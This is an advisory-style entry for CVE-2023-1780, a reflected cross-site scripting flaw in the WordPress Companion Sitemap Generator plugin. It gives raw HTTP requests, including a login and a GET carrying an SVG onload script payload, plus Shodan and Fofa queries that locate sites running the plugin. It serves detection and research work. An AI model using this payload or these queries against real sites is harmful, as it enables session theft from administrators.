| Title | Companion Sitemap Generator < 4.5.3 - Cross-Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Unauthenticated attackers can inject malicious JavaScript through the tabbed parameter in sitemap generator pages to steal session cookies from high-privilege users including WordPress administrators. |
| Remediation | Fixed in version 4.5.3 |
| CVSS Score | 6.1 |
| EPSS Score | 0.12604 |
| CVE ID | CVE-2023-1780 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/companion-sitemap-generator/ |
| Fofa Query | body=/wp-content/plugins/companion-sitemap-generator/ |
| Tags | cve cve2023 wpscan wp wordpress wp-scan xss authenticated codeermeneer vuln |
The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=fFjP4z&pwd=Evvva7&wp-submit=Log+In
GET /wp-admin/tools.php?page=csg-sitemap&tabbed=%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-1780.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-1780.pcap
N/AN/A